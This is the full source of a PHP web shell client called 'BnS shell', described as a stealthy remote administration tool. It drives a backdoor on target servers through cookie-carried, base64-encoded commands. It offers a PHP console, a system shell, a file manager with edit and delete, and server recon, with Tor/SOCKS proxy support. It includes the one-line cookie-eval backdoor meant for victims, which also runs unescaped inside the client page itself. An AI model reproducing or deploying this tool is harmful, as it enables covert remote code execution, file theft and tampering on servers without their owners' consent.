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executable file
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Copy pathclient.php
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executable file
·389 lines (343 loc) · 16 KB
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<?php
/*
* Basic and Stealthy PHP remote administration tool
* version 1.0 beta
* Uses cookies to communicate with remote server
* Requires: php5-curl and modern web browser with JavaScript support
*/
/*
* Settings (defaults are fine)
*/
/*
* Uncomment this to send useragent header
*/
//$useragent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
/*
* Socks4 proxy config
* REMEMBER! cURL in PHP leaks DNS requests through socks!
* https://www.dnsleaktest.com/
*/
//$proxy = "socks5://127.0.0.1:9050";
//$proxy_auth ="user:password";
/*
* Commands and expected result to check if shell is installed and working correctly
*/
$check_commands = "echo 1;";
$expected_result = "1";
//Do not edit after this line
if (!extension_loaded('curl')) die("cURL extension is missing! Install php5-curl.");
if (isset($_POST["exec"])) {
$c = curl_init();
curl_setopt_array($c, array(
CURLOPT_URL => $_POST["shell_url"],
CURLOPT_COOKIE => "z=".$_POST["commands"]
));
if (isset($proxy)) {
curl_setopt_array($c, array(CURLOPT_PROXY => $proxy, CURLOPT_HTTPPROXYTUNNEL => true));
if (isset($proxy_auth)) curl_setopt($c, CURLOPT_PROXYUSERPWD, $proxy["auth"]);
}
if (isset($useragent)) curl_setopt($c, CURLOPT_USERAGENT, $useragent);
if (curl_exec($c) === false) {
http_response_code(500);
echo curl_error($c);
} else if (curl_getinfo($c, CURLINFO_HTTP_CODE) !== 200) {
http_response_code(curl_getinfo($c, CURLINFO_HTTP_CODE));
}
curl_close($c);
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>:: BnS Shell Client ::</title>
<style>
input, textarea { display: block; }
input, textarea {font-family: monospace; background: #1B1B1B; color: #3C9C9C; border: 1px black solid;}
input {width: 500px;}
input.active {color: #008000;}
textarea { width: 100%; }
body {text-align: center; font-family: sans-serif; background: #000; color: #3C9C9C;}
pre { border: 2px #000 solid; font-weight: bold; background: #4C4C4C;}
button {cursor:pointer; margin: 0px; padding: 0px; border: none; background: #4C4C4C; color: #000000;}
button.active { background: #CCC; }
button:hover { background: #CCC; }
table {text-align: left; }
.container { width: 800px; margin: 0px auto;}
.hidden {display: none;}
.inline {display: inline-block;}
.info {position: absolute; top: 0px; right: 0px; font-size: 9px; text-align: right; color: #D3D3D3}
.fm-dir { font-weight: bold; color: red; cursor: pointer;}
.fm-dir:hover, .fm-file:hover { font-weight: bold; color: inherit;}
.fm-file { color: green; cursor: pointer;}
#output { height: 300px; }
#shell-input { width: 80%; display: inline-block;}
#shell-url { width: 80%; display: inline-block;}
</style>
</head>
<body>
<noscript><h1>THIS PAGE REQUIRES JAVASCRIPT!</h2></noscript>
<div class="info">
<div>Your IP: <?php echo $_SERVER["REMOTE_ADDR"]; ?></div>
<div>User-Agent: <?php echo $_SERVER["HTTP_USER_AGENT"]; ?></div>
</div>
<div class="container">
<div class="header">
<h1>~ BnS shell client ~</h1>
<p>Use the following code to install BnS shell on a target server:</p>
<pre><?php $f=create_function("",base64_decode(@$_COOKIE["z"]));@$f(); ?></pre>
</div>
<hr>
<input type="text" id="shell-url" placeholder="Shell URL" required>
<button id="check-shell-btn">Check</button>
<hr>
<button id="php-console-btn">PHP console</button>
<button id="system-shell-btn">System shell</button>
<button id="fm-btn">File manager</button>
<div class="hidden" id="file-manager">
<hr>
<form id="fm">
<input type="text" id="fm-path" autocomplete="off" style="width: 80%; display: inline-block;">
<button>Go</button>
</form>
<hr>
<table>
<tr>
<th>name</th>
<th>type</th>
<th>size</th>
<th>modified</th>
<th>perms</th>
<th>action</th>
</tr>
<tbody id="file-list">
<tr><td colspan="0"><h2>Enter location and press Go</h2></td></tr>
</tbody>
</table>
<div>
<hr>
<button id="fm-file-create">Create file</button>
</div>
</div>
<form class="hidden" id="php-console">
<textarea id="commands" placeholder="PHP code to execute" required></textarea>
<button>Submit</button>
</form>
<hr>
<button id="info-btn" >Server info</button>
<hr>
<textarea id="output"></textarea>
<div class="hidden" id="fm-buttons">
<button id="fm-file-save">Save</button>
<button id="fm-file-cancel">Cancel</button>
</div>
<form class="hidden" id="shell-console">
$ <input type="text" id="shell-input" autocomplete="off" required >
<button>Submit</button>
</form>
</div>
<script type="text/javascript">
var fm_CWD;
var fm_output=[];
function $id(id){ return document.getElementById(id); }
function cleanCommands(code) { return code.replace(/\ {2,}/g, ' ').replace(/\n/g, '')+"die();"; }
function printOutput(text) { $id("output").value = text; }
function clearOutput(){ $id("output").value=""; }
function toggle(id){ el = $id(id); el.classList.toggle("hidden"); }
function active(el){ el.classList.toggle("active"); }
function getCWD() {
if (!fm_CWD) {
var commands = "echo getcwd();";
exec(commands, function(r){
window.fm_CWD = r;
$id("fm-path").value = r;
});
}
}
function fileSizeSI(a,b,c,d,e){
return (b=Math,c=b.log,d=1e3,e=c(a)/c(d)|0,a/b.pow(d,e)).toFixed(2)
+' '+(e?'kMGTPEZY'[--e]+'B':'Bytes')
}
function base64_encode(m){for(var k="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),c,d,h,e,a,g="",b=0,f,l=0;l<m.length;++l){c=m.charCodeAt(l);if(128>c)d=1;else for(d=2;c>=2<<5*d;)++d;for(h=0;h<d;++h)1==d?e=c:(e=h?128:192,a=d-2-6*h,0<=a&&(e+=(6<=a?1:0)+(5<=a?2:0)+(4<=a?4:0)+(3<=a?8:0)+(2<=a?16:0)+(1<=a?32:0),a-=5),0>a&&(u=6*(d-1-h),e+=c>>u,c-=c>>u<<u)),f=b?f<<6-b:0,b+=2,f+=e>>b,g+=k[f],f=e%(1<<b),6==b&&(b=0,g+=k[f])}b&&(g+=k[f<<6-b]);return g}
function printInfo(info) {
var text = "uname: "+info[0]+"\n"+
"Server software: "+info[1]+"\n"+
"Server IP: "+info[2]+"\n"+
"PHP version: "+info[3]+"\n"+
"Datetime: "+info[4]+"\n"+
"Working directory: "+info[5]+"\n"+
"Your IP (as seen on remote server): "+info[6]+"\n"+
"========\n\n"+
"Disabled PHP functions: "+info[7]+"\n"+
"========\n\n"+
"Loaded extensions: "+info[8]+"\n"+
"";
$id("output").value = text;
}
function exec(commands, callback){
var shell_url = $id("shell-url").value;
if (shell_url == ""){ $id("output").value = "Error: You did not specified shell URL"; return;}
var post_data = "exec=1&shell_url="+shell_url+"&commands="+encodeURIComponent(base64_encode(cleanCommands(commands)));
var xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Content-length", post_data.length);
xhr.setRequestHeader("Connection", "close");
xhr.onreadystatechange = function(){
if (xhr.readyState != 4) return;
if (xhr.status == 200) {
if (xhr.responseText == "") {printOutput("Remote server returned nothing. This can be an error."); return;}
callback(xhr.responseText);
} else {
printOutput(xhr.status+" Error\n"+xhr.responseText); return;
};
}
xhr.send(post_data);
}
function execPHP() {
exec($id("commands").value, function(r) {
printOutput(r);
});
}
function execShell() {
var commands = "echo shell_exec('" +$id('shell-input').value +"');";
exec(commands, function(r) {
printOutput(r); $id("output").scrollTop = 99999;
});
}
function scanDir(){
fm_output=[];
$id('file-list').innerHTML = "";
var dir = $id("fm-path").value; fm_CWD = dir;
var commands="$dir='"+dir+"';\
$items=scandir($dir);\
foreach($items as $item){\
$fitem = '"+dir+"/'.$item;\
$p=stat($fitem);\
if (is_dir($fitem)) {\
echo $item . ':d::'.$p[9].':'.fileperms($fitem).'|';\
} else if (is_file($fitem)){\
echo $item . ':f:'.$p[7].':'.$p[9].':'.fileperms($fitem).'|';\
} else {\
echo $item . ':u:::|';\
}\
}";
exec(commands, function(r){
formatFMOutput(r);
});
}
function fmOpenDir(dir){
$id("fm-path").value = dir; scanDir();
}
function fmOpenFile(file){
var commands = "echo file_get_contents('"+file+"');";
exec(commands, function(r){
printOutput(r);
});
}
function formatFMOutput(str){
var items = str.split("|");
items.forEach(function(v,k){
if (v=='') return;
fm_output.push(v.split(":"));
});
fm_output.forEach(function(v,k){
var full_name = fm_CWD + "/"+v[0];
if (v[1] == "d") {
var cl='fm-dir';
var fm_actions = "<button class='fm-dir-del'>del</button>";
} else {
var cl='fm-file';
var fm_actions = "<button class='fm-file-del'>del</button>\
<button class='fm-file-edit'>edit</button>";
}
$id("file-list").innerHTML = $id("file-list").innerHTML + "<tr data-name='"+full_name+"'>\
<td><span class='"+cl+"'>"+v[0]+"</span></td>\
<td>"+v[1]+"</td>\
<td>"+fileSizeSI(v[2])+"</td>\
<td>"+v[3]+"</td>\
<td>"+v[4]+"</td>\
<td>"+fm_actions+"</td>\
</tr>";
});
}
function getInfo() {
var commands = 'echo join(",", array(\
php_uname(),\
$_SERVER["SERVER_SOFTWARE"],\
$_SERVER["SERVER_ADDR"],\
phpversion(),\
date("c",time()),\
getcwd(),\
$_SERVER["REMOTE_ADDR"],\
str_replace(",", " ", ini_get("disable_functions")),\
join(" ",get_loaded_extensions()),\
));';
exec(commands, function(r) {
printInfo(r.split(","));
});
}
function fmFileSave(file_name, file_content){
var commands = 'echo file_put_contents("'+file_name+'", base64_decode("'+base64_encode(file_content)+'"));';
exec(commands, function(r){
alert("File saved");
toggle("fm-buttons");
scanDir();
return false;
});
}
function fmFileCreate() {
var file_name = prompt("File name", "");
window.editing_file = fm_CWD + "/" + file_name;
printOutput(""); $id("output").focus();
toggle("fm-buttons");
}
function fmFileDel(file_name) {
var commands = 'echo unlink("'+file_name+'");';
exec(commands, function(r) {
alert("File deleted");
scanDir();
return false;
});
}
window.onload = function(){
$id("php-console-btn").onclick = function() { toggle('php-console'); active(this); }
$id("system-shell-btn").onclick = function() { toggle('shell-console'); active(this); }
$id("fm-btn").onclick = function() { toggle('file-manager'); active(this); getCWD(); }
$id("info-btn").onclick = function() { getInfo(); }
$id("check-shell-btn").onclick = function() { checkShell(); }
$id("fm-file-save").onclick = function() { fmFileSave(window.editing_file, $id("output").value); }
$id("fm-file-cancel").onclick = function() { printOutput("Canceled"); toggle("fm-buttons"); }
$id("fm-file-create").onclick = function() { fmFileCreate(); }
$id("fm").onsubmit = function(){ scanDir(); return false;}
$id("php-console").onsubmit = function(){ execPHP(); return false;}
$id("shell-console").onsubmit = function(){ execShell(); return false;}
document.body.addEventListener('click',classHandler,false);
function classHandler(e){
e = e || window.event; var target = e.target || e.srcElement;
if (target.className == "fm-dir") {
fmOpenDir(target.parentNode.parentNode.getAttribute('data-name'));
} else if (target.className == "fm-file") {
fmOpenFile(target.parentNode.parentNode.getAttribute('data-name'));
} else if (target.className == "fm-file-edit") {
window.editing_file = target.parentNode.parentNode.getAttribute('data-name');
fmOpenFile(editing_file); $id("output").focus(); toggle("fm-buttons");
} else if (target.className == "fm-file-del") {
fmFileDel(target.parentNode.parentNode.getAttribute('data-name'));
}
}
}
function checkShell() {
var commands = '<?php echo $check_commands; ?>';
exec(commands, function(r){
if (r == '<?php echo $expected_result; ?>') {
printOutput("Shell is active!"); $id("shell-url").className = "active";
} else {
printOutput("Shell is not installed or something went wrong!"); $id("shell-url").className = "";
}
});
}
</script>
</body>
</html>
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